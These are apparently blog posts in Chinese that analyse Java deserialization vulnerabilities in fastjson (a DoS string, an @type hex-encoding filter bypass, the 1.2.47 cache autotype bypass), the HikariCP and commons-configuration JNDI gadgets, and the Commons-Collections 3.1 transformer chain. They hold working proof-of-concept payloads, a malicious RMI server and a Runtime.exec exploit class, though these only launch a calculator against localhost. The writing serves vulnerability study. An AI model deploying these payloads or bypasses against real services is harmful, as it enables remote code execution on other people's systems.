public static void main(String[] args){
new Thread(new fastjsonDos()).start();
new Thread(new fastjsonDos()).start();
new Thread(new fastjsonDos()).start();
}
public void run() {
String DEATH_STRING = "{\"a\":\"\\x";
JSON.parse(DEATH_STRING);
}
}
后来学习到,java启动的时候可以通过-Xmx
参数为jvm设置最大内存占用,默认为主机的四分之一。
其次Java的OutOfMemoryError是JVM内部的异常,是一个可捕获异常,并不会直接导致java进程被Kill掉,顶多线程挂掉。
在Linux下当应用程序内存超出内存上限时,会触发Out Of Memory Killer机制以保持系统空间正常运行,java默认最大1/4物理内存占用,还不太容易导致系统的OOM。
总的来说,漏洞危害有限,但是利用过程还是挺看细节的,有一些值得学习的点~
参考文章:
]]>跟了几个三方组件组合利用的gadget chain,一直没有去跟fastjson底层实现,不免有很多疑问之处,这里记录一下分析一下fastjson触发流程。
接着上一篇文章fastjson 1.2.61 远程代码执行漏洞分析(commons-configuration gadget)的poc出发:1
2
3
4
5
6
7public class exp {
public static void main(String[] args){
String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}";
ParserConfig.global.setAutoTypeSupport(true);
JSONObject exp = (JSONObject) JSON.parseObject(poc);
}
}
下断点跟进POC中的JSON.parseObject
函数:
跟进parse(String text)
函数,一顿套娃操作(java的重载特性:允许存在相同方法名,但不同参数个数及类型)
通过重载的特性,调用了三个parse
函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19// 148
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
// 179
public static Object parse(String text, int features) {
return parse(text, ParserConfig.getGlobalInstance(), features);
}
// 164
public static Object parse(String text, ParserConfig config, int features) {
if (text == null) {
return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
在DefaultJSONParser
函数中初始化了一些变量配置信息,确认起始标志位为{
:
接着进入parser.parse
函数,解析json流程:
跟进DefaultJSONParser.java#parseObject,函数较长,截取部分:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90for (;;) {
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}
boolean isObjectKey = false;
Object key;
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
} else if (ch == '}') {
lexer.next();
lexer.resetStringPosition();
lexer.nextToken();
if (!setContextFlag) {
if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
context = this.context;
} else {
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
}
}
return object;
} else if (ch == '\'') {
if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("syntax error");
}
key = lexer.scanSymbol(symbolTable, '\'');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos());
}
} else if (ch == EOI) {
throw new JSONException("syntax error");
} else if (ch == ',') {
throw new JSONException("syntax error");
} else if ((ch >= '0' && ch <= '9') || ch == '-') {
lexer.resetStringPosition();
lexer.scanNumber();
try {
if (lexer.token() == JSONToken.LITERAL_INT) {
key = lexer.integerValue();
} else {
key = lexer.decimalValue(true);
}
if (lexer.isEnabled(Feature.NonStringKeyAsString)) {
key = key.toString();
}
} catch (NumberFormatException e) {
throw new JSONException("parse number key error" + lexer.info());
}
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("parse number key error" + lexer.info());
}
} else if (ch == '{' || ch == '[') {
lexer.nextToken();
key = parse();
isObjectKey = true;
} else {
if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
throw new JSONException("syntax error");
}
key = lexer.scanSymbolUnQuoted(symbolTable);
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
}
}
//...
总的来说就是一个大循环,里边嵌套了一堆if else,然后依据类型来判断,直到迭代器遍历完json数据为止,比如下面这个就是检测数字的判断:
再比如这里,匹配到双引号,则用lexer.scanSymbol
函数去获取双引号中间的值,并设置键名:
再来看这里,进行了特殊键@type
匹配,并且!lexer.isEnabled(Feature.DisableSpecialKeyDetect)
默认也是true
跟进lexer.scanSymbol(symbolTable, '"')
函数,看看它是如何获取类型名typeName
的,JSONLexerBase.java#scanSymbol,同样的,也是一个迭代判断的过程,这里看一段比较有意思的是这一段代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51if (chLocal == '\\') {
if (!hasSpecial) {
hasSpecial = true;
if (sp >= sbuf.length) {
int newCapcity = sbuf.length * 2;
if (sp > newCapcity) {
newCapcity = sp;
}
char[] newsbuf = new char[newCapcity];
System.arraycopy(sbuf, 0, newsbuf, 0, sbuf.length);
sbuf = newsbuf;
}
// text.getChars(np + 1, np + 1 + sp, sbuf, 0);
// System.arraycopy(this.buf, np + 1, sbuf, 0, sp);
arrayCopy(np + 1, sbuf, 0, sp);
}
chLocal = next();
switch (chLocal) {
// 省略大量case
case '\\': // 92
hash = 31 * hash + (int) '\\';
putChar('\\');
break;
case 'x':
char x1 = ch = next();
char x2 = ch = next();
int x_val = digits[x1] * 16 + digits[x2];
char x_char = (char) x_val;
hash = 31 * hash + (int) x_char;
putChar(x_char);
break;
case 'u':
char c1 = chLocal = next();
char c2 = chLocal = next();
char c3 = chLocal = next();
char c4 = chLocal = next();
int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);
hash = 31 * hash + val;
putChar((char) val);
break;
default:
this.ch = chLocal;
throw new JSONException("unclosed.str.lit");
}
continue;
}
这段代码处理了以\x
和\u
开头的16进制字符串,也就是说我们可以用这种方式去编码转换typeName
,也就是@type
的value组件名
再验证一下这个结果,将org的o进行编码:
再试试将@type
的@
进行编码都是可行的
因为在获取key值时,也是通过lexer.scanSymbol
获取的(DefaultJSONParser.java#219行)
所以说,如果在开发代码中过滤了关键字
@type
或者组件名,可以用这个方法进行绕过
其后,在各种解码操作完成之后,在DefaultJSONParser.java#327行对其进行了AutoType校验:
ParserConfig.java#checkAutoType
经过长度、预期class、是否开启autotype等判断后,进行className
的hash计算,先有一个白名单,接着判断是否在黑名单hash里。
为了防止安全研究者研究,fastjson 从1.2.42开始,将明文的黑名单换成了哈希过的黑名单,不过github上的大牛fuzz出了一份清单https://github.com/LeadroyaL/fastjson-blacklist
在TypeUtils.loadClass
第三个参数为true
时,会缓存到Mapping:loadClass
函数,第三参数为cache
为true
时,则mappings.put(className, clazz);
进行缓存。
TypeUtils.java#loadClass1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0 || className.length() > 128){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
而在TypeUtils.java的1105行 TypeUtils.getClassFromMapping
函数,从mapping
中取出类名。
继续跟进,在1127行有一段对未开启autoType
的处理,又是一段黑白名单的处理:
接着加载了org.apache.commons.configuration2.JNDIConfiguration
模块:
同时这里判断了其是否有jsonType,jsonType = visitor.hasJsonType();
,是fastjson中定制序列化的特性,参考文档Fastjson 定制序列化和Fastjson JSONField介绍
挖坑,这里用到了ASM读写字节码的类库,参考文章深入ASM源码之ClassReader、ClassVisitor、ClassWriter。
后来还看到可以用注解有JsonType的class进行gadget chain构造,先挖坑,https://xz.aliyun.com/t/7107
继续往下跟,这里只要开了autoTypeSupport
就会将我们的class缓存进mapping
(cacheClass
为true
即缓存)
最后返回class。
通过autotype
的检测,进行反序列化操作
到这里基本从源码对fastjson解析json、@type
特殊类型解析、autotype
检测有了一个了解。
pom.xml添加下面这段代码1
2
3
4
5
6<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
poc:1
2
3
4
5
6
7
8
9
10
11import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test {
public static void main(String[] args){
String poc1 = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
String poc2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(poc1);
JSON.parse(poc2);
}
}
或者使用数组或者在web服务连续发两个poc包即可:1
2
3
4
5
6
7
8
9import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test {
public static void main(String[] args){
String poc2 = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}]";
JSON.parseObject(poc2);
}
}
下断点根进第一个poc:
和上文1.2.61调试的过程类似DefaultJSONParser
函数初始化配置,parser.parse
解析,再到parseObject
函数,这里直接来看config.checkAutoType
在不开启autotype
的情况:ParserConfig.java#checkAutoType
最开始进行class名的哈希运算,然后是开启autotype下的黑白名单检测,然后还没到后边未开启autotype的if条件里,就直接return了。
回到DefaultJSONParser.java#parseObject函数
跟进deserializer.deserialze
函数,根据val
字段来获取objVal
:
继续往下,在335行进行了一个Class
类的判断,然后调用typeUtils.loadClass
函数:
TypeUtils.java#loadClass(String className, ClassLoader classLoader)
用重载的方式,并且设置默认为true
的缓存操作,最后在TypeUtils.java#1242行将com.sun.rowset.JdbcRowSetImpl
加到mapping缓存中:
这就导致了解析第二个poc时,绕过了autotype校验,从缓存mapping中加载:
最终实例化该类,导致RCE。
这篇文章通过fastjson1.2.61 commons-configuration gadget的POC动态调试入手,分析fastjson反序列化解析json流程,分析了一下源码的\u
和\x
的16进制解码操作,以及缓存机制。
同时分析了一下在fastjson 1.2.48以下TypeUtils.loadClass
缓存问题,即无需开autotype可以命令执行。
接下来的时间打算研究一下高版本jdk绕过远程类的加载问题。
参考文章:
]]>在fastjson 1.2.61的版本中,增加了autoType的安全组件黑名单commons-configuration,成功绕过了黑名单限制,利用反序列化特性造成远程代码执行,该组件是java应用程序的配置管理类,用于协助管理各种格式的配置文件。
Idea创建项目,选择maven,jdk版本1.8.0_73,在pom.xml中添加如下代码,自动加载依赖:
1 | <dependencies> |
同样的,按照上一篇文章文章中写的,搭建一个恶意的RMI服务,使之加载。
poc:1
2
3
4
5
6
7
8
9
10import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class exp {
public static void main(String[] args){
String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}";
ParserConfig.global.setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}
在上一篇文章中写了fastjson在反序列化json数据时,会自动调用其属性XX的setXX
和getXX
方法,如果其中有JNDI Reference
注入漏洞,则可以造成RCE的效果。
在下面这段代码中,我们可以知道在使用JSON.parseObject
反序列化json数据时,会调用所有属性的get方法,以及相关属性的set方法。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSONObject;
public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
public static void main(String[] args) {
//使用@type指定该JSON字符串应该还原成何种类型的对象
String userInfo = "{\"@type\":\"test.User\",\"name\":\"passer6y\"}";
//开启setAutoTypeSupport支持autoType
ParserConfig.global.setAutoTypeSupport(true);
//反序列化成User对象
JSONObject user = JSON.parseObject(userInfo);
}
}
从下图我们知道,这里没有设置age属性,但是getAge
方法被调用了,且先调用set
方法后调用get
方法。
再回过头来看这个poc:1
String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}";
跟进这个组件的setPrefix
方法:
再跟一下成员变量this.prefix
:
所以漏洞成因就显而易见了,通过第一步的setPrefix
种入成员变量this.prefix
为恶意rmi服务地址,接着fastjson自动调用全部get方法,没有设置baseContext
成员变量,自然就触发了:1
(Context)this.getContext().lookup(this.prefix == null ? "" : this.prefix)
那么问题来了,this.getContext()
是怎么设置的呢?1
2
3public Context getContext() {
return this.context;
}
获取了成员变量this.context
,在构造方法中我们可以看到一顿套娃的操作,无参构造函数调用单参数构造函数,调用双参数构造函数,将new InitialContext()
赋给了成员变量this.context
最终导致漏洞产生。
索然无味,仅仅对gadget chain进行了简单分析,对fastjson的关键代码分析欠缺,接下里的任务就是搞懂fastjson漏洞触发的条件以及原理。
漏洞影响fastjson版本:version <= 1.2.61
。修复也就是多了个组件黑名单。
下载fastjson最新版jar包下载,Idea 新建项目->选择jdk1.7
—>选择File > project structure > Modules > dependencies > + JARS or directories ->加载下载的组件
写一个User类,接着使用fastjson解析一段json数据:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35package test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSONObject;
public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
public static void main(String[] args) {
//使用@type指定该JSON字符串应该还原成何种类型的对象
String userInfo = "{\"@type\":\"test.User\",\"name\":\"passer6y\", \"age\":18}";
//开启setAutoTypeSupport支持autoType
ParserConfig.global.setAutoTypeSupport(true);
//反序列化成User对象
JSONObject user = JSON.parseObject(userInfo);
//User user = (User) JSON.parse(userInfo); 只会调用setXX方法
//System.out.println(user.getName());
}
}
在使用JSON.parseObject
解析json时,代码中的setXX
、getXX
方法自动调用,如果函数中存在一些敏感操作,则可能导致漏洞产生。
JSON.parse
只会调用setXX
方法,不会自动调用getXX
另外,将json中的age元素删除后,使用JSON.parseObject
,仍然会调用getAge
方法。
也就是说
parseObject
调用全部属性的getXX
方法,和设置属性的setXX
方法
分析10分钟,复现3小时,环境无限采坑…(maven真香
这里使用了RMI动态加载远程class文件,参考笔记:深入理解RMI&JNDI
使用javac将下面代码编译成class文件,放到web服务器中,这里使用nginx(https://127.0.0.1/Exploit.class)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15public class Exploit {
public Exploit() {
try {
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
Runtime.getRuntime().exec("calc.exe");
} else if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
} else {
System.out.println("No calc for you!");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
再起一个RMI服务端,动态加载远程class文件:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class server {
public static void main(String[] args) {
try {
//创建RMI Registry,默认监听1099端口
Registry registry = LocateRegistry.createRegistry(1099);
String remote_class = "https://127.0.0.1/";
//Reference对象代表存在于JNDI以外的对象的引用
Reference reference = new Reference("Exploit", "Exploit", remote_class);
ReferenceWrapper re = new ReferenceWrapper(reference);
//把Reference对象绑定到Registry,客户端可以通过在Registry查找Exploit获取到re对象
registry.bind("Exploit",re);
System.out.println("RMI服务已经启动....");
} catch (Exception e) {
e.printStackTrace();
}
}
}
1 | <dependencies> |
jackson poc:1
2
3
4
5
6
7
8
9
10import com.fasterxml.jackson.databind.ObjectMapper;
public class test {
public static void main(String[] args) throws Exception {
String json = "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}]";
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(json,Object.class);
}
}
fastjson poc:1
2
3
4
5
6
7
8
9
10import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class fastjsonEXP {
public static void main(String[] args){
ParserConfig.global.setAutoTypeSupport(true);
JSON.parseObject("{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}");
}
}
从上文中fastjson入门部分我们知道,在解析json数据的时候会自动调用setXX
方法,在HikariCP
这个组件中,HikariConfig.class中可以看到setMetricRegistry
方法调用了getObjectOrPerformJndiLookup
方法:
跟进其中,调用了InitialContext.lookup(object)
很明显的jndi Reference
注入。
所以我们在构造poc的时候,利用fastjson的@type
加载该对象com.zaxxer.hikari.HikariConfig
,使用metricRegistry
属性,去触发setMetricRegistry
方法,最终使之加载我们恶意的RMI服务程序。1
{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}
同样的,在jackson中也有这样的问题:1
[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}]
通过上面的分析,我们也可以发现其实这是多组件组合导致的远程代码执行,需要环境中使用了fastjson或者jackson库,同时还使用了第三方组件HikariCP
导致的,而官方的修复也只是将该扩展添加进了黑名单(fastjson-blacklist、jackson修复commit)。
参考文章:
]]>组件下载:
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
Idea 新建项目->选择jdk1.7—>选择File > project structure > Modules > dependencies > + JARS or directories ->加载下载的组件
poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
漏洞点在/commons-collections-3.1-sources.jar!/org/apache/commons/collections/functors/InvokerTransformer.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26public class InvokerTransformer implements Transformer, Serializable {
//105行
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
通过实现/commons-collections-3.1-sources.jar!/org/apache/commons/collections/Transformer.java
Transformer
接口,InvokerTransformer
构造方法在实例化的时候传入参数函数方法名以及参数名,transform
方法使用java反射机制得以调用任意方法。Transformer
接口:1
2
3public interface Transformer {
public Object transform(Object input);
}
Java反射机制即参数传入一个对象,然后通过
getClass
、getMethod
等方法去获取其所属的类、所拥有的对象。
在Java中一切皆对象,调用系统命令的代码通常为:1
Runtime.getRuntime().exec("open -a Calculator");
可以通过构造这段代码实现命令执行:1
2
3
4
5
6
7
8public class EvalObject {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
但是我们知道反序列化后一般只需要执行readObject
函数即可,如果直接序列化invokerTransformer
对象,那么readObject
之后的对象还需要主动调用transform(Runtime.getRuntime())
函数才能得以命令执行,显然是不太现实的。
demo:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34import java.io.*;
import java.lang.Runtime;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test2 {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{ String.class}, new Object[] {"open -a Calculator"});
serialize(invokerTransformer);
// 反序列化完了还得调对象的transform方法
InvokerTransformer obj = (InvokerTransformer) unserialize();
obj.transform(Runtime.getRuntime());
}
public static void serialize(InvokerTransformer obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
}catch (Exception e){
e.printStackTrace();
}
}
public static Object unserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
return is.readObject();
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
这意味着Runtime.getRuntime()
的调用也需要我们通过反射来进行调用,而InvokerTransformer
的tansform
函数一次只能进行一次反射,这就需要我们构造一个反射链,最终调用exec
函数进行命令执行。
在 /commons-collections-3.1-sources.jar!/org/apache/commons/collections/functors/ChainedTransformer.java
中提供了我们构造一个函数对象调用链的一个方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14public class ChainedTransformer implements Transformer, Serializable {
// 109行
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
给ChainedTransformer
方法传递一个数组,在transform
方法里遍历调用其transform
方法,并将返回的结果作为下一次transform
函数的参数。
此时可以构造出这样一个poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54package test2;
import java.io.*;
import java.lang.Runtime;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class test2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
serialize(transformerChain);
// 通过进一步构造反射链,这里的transform传递一个空参数即可。
Transformer transformer = (Transformer) unserialize();
transformer.transform("");
}
public static void serialize(Transformer obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
}catch (Exception e){
e.printStackTrace();
}
}
public static Object unserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
return is.readObject();
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
在Transformer
数组的第一个元素中用到了ConstantTransformer
类:1
2
3
4
5
6
7
8
9
10
11public class ConstantTransformer implements Transformer, Serializable {
// 64行
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
通过初始化对象传入Runtime.class
类作为参数,然后在ChainedTransformer
类遍历数组调用其 ConstantTransformer
的transform
方法返回Runtime
类。
从transformer.transform("");
下断点跟进:
遍历数组,第一次进入ConstantTransformer
的transform
函数:
ConstantTransformer
的transform
返回在实例化时传入的Runtime
类:
第二次循环,将第一次返回的Runtime
类作为参数,带入第二次InvokerTransformer
类的transform
函数参数中:
这里通过java反射机制,从Runtime
类找到其getRuntime
方法,返回Runtime.getRuntime()
方法,作为下次循环的参数。
第三次循环再次通过InvokerTransformer
类的transform
方法,通过反射调用invoke
方法,真正的执行getRuntime
函数并返回Runtime
实例
在第四轮中我们可以看到object
参数变成了Runtime
对象,并且通过反射调用exec
函数来进行命令执行:
最后执行命令:
transform
在step2的poc中我们可以看到,反序列化之后其实还有一个对对象进行transform
函数的调用,虽然此时已经通过反射链解决了Runtime.getRuntime()
的参数传入问题,但是仍然需要我们调用transform
函数。1
2Transformer transformer = (Transformer) unserialize();
transformer.transform("");
这样的条件在实际环境中是难以利用的,我们希望的是仅调用readObject
函数就能够触发漏洞,即需要寻找一个有被重写的readObject
函数,而其中的流程能够触发transform
函数(可以直接搜索这两个关键字寻找)。
在/org/apache/commons/collections/map/TransformedMap.java
中:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23//65行
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
//87行
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//137行
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
//183行
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
通过TransformedMap
函数设置成员变量,通过调用put
函数,触发transformValue
函数的valueTransformer.transform(object)
调用。
poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("value", "value");
}
虽然找到了一个能自动调用transform
的过程,但是要实现反序列化命令执行,还需要有对map的操作。这里还有另外一处也有调用transform
方法的功能:1
2
3
4// 168行
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
在其父类/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java
中实现了一个静态类的定义:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16// 180行
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value); // 调用点
return entry.setValue(value);
}
}
